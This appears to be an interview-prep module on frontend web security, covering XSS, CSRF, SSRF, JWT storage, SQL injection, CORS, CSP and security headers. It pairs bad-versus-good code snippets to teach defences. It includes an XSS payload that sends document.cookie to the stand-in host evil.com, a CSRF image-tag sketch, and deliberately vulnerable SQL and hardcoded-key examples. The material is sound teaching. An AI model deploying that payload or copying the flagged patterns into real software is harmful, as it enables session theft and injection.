Loading...
Loading...
XSS, CSRF, JWT, CSP, and the security patterns SDE-2 frontend interviews expect.
Protect client-side apps from XSS, CSRF, SSRF, IDOR, JWT theft, SQL injection, CORS misconfig, insecure dependencies, and sensitive data exposure.
Client-side security for web apps: XSS (stored, reflected, DOM-based), CSRF, SSRF, IDOR, authentication attacks, JWT best practices, SQL injection, CORS, insecure dependencies, sensitive data exposure, CSP, and security headers.
Frontend security is no longer optional — SDE-2 interviews expect you to explain XSS types, CSRF prevention, JWT storage trade-offs, CSP headers, and why localStorage is dangerous for tokens.
This module covers the top 10 frontend security risks, prevention patterns with code examples, security headers, best practices, and the testing tools every engineer should know.
Security is a design constraint, not an afterthought — you will learn to threat-model auth flows, sanitize user HTML safely, configure CSP without breaking the app, and audit dependencies before they reach production.
Walk through XSS variants, CSRF token patterns, JWT storage in httpOnly cookies, SSRF and IDOR risks, CORS misconfiguration, CSP directives, and npm audit workflows with prevention code you can cite in interviews.
Security questions appear in every SDE-2 frontend loop. You must explain how XSS steals cookies, why httpOnly cookies beat localStorage for JWTs, how CSRF tokens work, and what CSP headers actually do — not just name the acronyms. Frontend engineers are often the last line of defense before user data reaches the browser.
Protecting web applications from client-side attacks.
Frontend Security is protecting web applications from attacks that happen in the browser. It ensures data confidentiality, integrity, and availability.
Know the attack, the example, and the prevention.
XSS (Cross-Site Scripting)
Attackers inject malicious JavaScript to steal cookies, session tokens, or perform actions on behalf of users.
| Type | Description | Example |
|---|---|---|
| Stored XSS | Script stored in database | Comments with <script> |
| Reflected XSS | Script in HTTP response | Error messages, search |
| DOM-based XSS | Client-side DOM injection | innerHTML = userInput |
<!-- Attacker comment --> <script>fetch('https://evil.com?cookie=' + document.cookie)</script> // ❌ BAD <div dangerouslySetInnerHTML={{ __html: userInput }} /> // ✅ GOOD — React escapes <div>{userInput}</div> // Sanitize with DOMPurify const clean = DOMPurify.sanitize(userInput);
Content-Security-Policy: default-src 'self'; script-src 'self'
CSRF (Cross-Site Request Forgery)
Attackers trick authenticated users into submitting unwanted requests (change password, transfer money).
Attack flow
<img src="bank.com/transfer?..."> → browser sends cookie automatically → money transferred.cookies.set("session", token, { sameSite: "Strict", secure: true, httpOnly: true, }); fetch("/api/transfer", { headers: { "X-CSRF-Token": csrfToken }, });
SSRF (Server-Side Request Forgery)
Attackers trick the server into requesting internal resources (localhost, internal APIs).
const ALLOWED = ["google.com", "github.com"]; function validateURL(url: string) { const parsed = new URL(url); if (!ALLOWED.includes(parsed.hostname)) { throw new Error("Invalid domain"); } if (parsed.hostname === "localhost") { throw new Error("Internal IP blocked"); } }
IDOR (Insecure Direct Object Reference)
Attackers access objects by changing IDs — /api/users/123 → /api/users/124.
Authentication Attacks
Brute force, credential stuffing, session hijacking.
JWT Security Issues
// ❌ BAD — XSS can steal token localStorage.setItem("jwt", token); // ✅ GOOD — httpOnly cookie cookies.set("jwt", token, { httpOnly: true, secure: true, sameSite: "Strict", }); const jwt = sign({ userId: 123 }, secret, { expiresIn: "15m" });
SQL Injection
Attackers inject SQL via user input to bypass auth or read data.
// ❌ BAD const query = `SELECT * FROM users WHERE email = '${email}'`; // ✅ GOOD — parameterized await db.query("SELECT * FROM users WHERE email = $1", [email]); // ✅ BEST — ORM await prisma.user.findUnique({ where: { email } });
CORS Misconfiguration
Browser blocks cross-origin requests unless explicitly allowed.
headers.set("Access-Control-Allow-Origin", "https://trusted.com"); headers.set("Access-Control-Allow-Methods", "GET, POST"); headers.set("Access-Control-Allow-Headers", "Content-Type");
Insecure Dependencies
npm audit --production npm update
Sensitive Data Exposure
// ❌ BAD — exposed in bundle const API_KEY = "sk-1234567890"; // ✅ GOOD — backend only const API_KEY = process.env.API_KEY;
Input validation, headers, cookies, and safe APIs.
1. Input Validation & Sanitization
if (!/^[a-zA-Z0-9_@.]+$/.test(username)) { throw new Error("Invalid username"); } const clean = DOMPurify.sanitize(userInput);
2. Output Escaping
// React escapes by default <div>{userInput}</div> // ✅ Safe // Avoid unless sanitized <div dangerouslySetInnerHTML={{ __html: userInput }} /> // ❌
3. Secure Cookies
cookies.set("session", token, { httpOnly: true, secure: true, sameSite: "Strict", });
4. Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' https:; object-src 'none'; base-uri 'self'; form-action 'self';
5. Avoid Unsafe APIs
// ❌ Avoid eval(userInput); document.write(userInput); element.innerHTML = userInput; // ✅ Safe — React escapes JSX <div>{userInput}</div>
6. Error Handling
// ❌ Never expose stack traces to users res.send(error.stack); // ✅ User-friendly message, log server-side res.send({ error: "Something went wrong" }); console.error(error);
7. Subresource Integrity (SRI)
<script src="https://example.com/script.js" integrity="sha384-..." crossorigin="anonymous" ></script>
8. Security Headers
headers.set("X-Frame-Options", "DENY"); headers.set("Content-Security-Policy", "frame-ancestors 'none'"); headers.set("X-Content-Type-Options", "nosniff"); headers.set("Referrer-Policy", "strict-origin-when-cross-origin");
Attack → prevention at a glance.
| Attack | What | Prevention |
|---|---|---|
| XSS | Malicious JS injected | Escape, sanitize, CSP, avoid dangerouslySetInnerHTML |
| CSRF | Unwanted requests tricked | CSRF tokens, SameSite cookies |
| SSRF | Server requests internal resources | URL whitelist, block internal IPs |
| IDOR | Access objects by changing IDs | Access controls, authorization |
| SQL Injection | Inject SQL via input | Parameterization, ORM |
| JWT Theft | Tokens stolen via XSS | httpOnly cookie, short expiry, HTTPS |
Audit, scan, and harden your frontend.
| Tool | Purpose |
|---|---|
| DOMPurify | Sanitize HTML inputs client-side |
| npm audit | Check vulnerable npm dependencies |
| Snyk | Continuous dependency vulnerability scanning |
| GitHub Dependabot | Automated dependency update PRs |
| OWASP ZAP | Dynamic application security testing (DAST) |
| Lighthouse | Security audit in Chrome DevTools |
| eslint-plugin-security | Static analysis for JS security patterns |
| Helmet.js | Set security HTTP headers in Node/Express |
Ten points to nail frontend security questions.
Common interview questions about frontend security.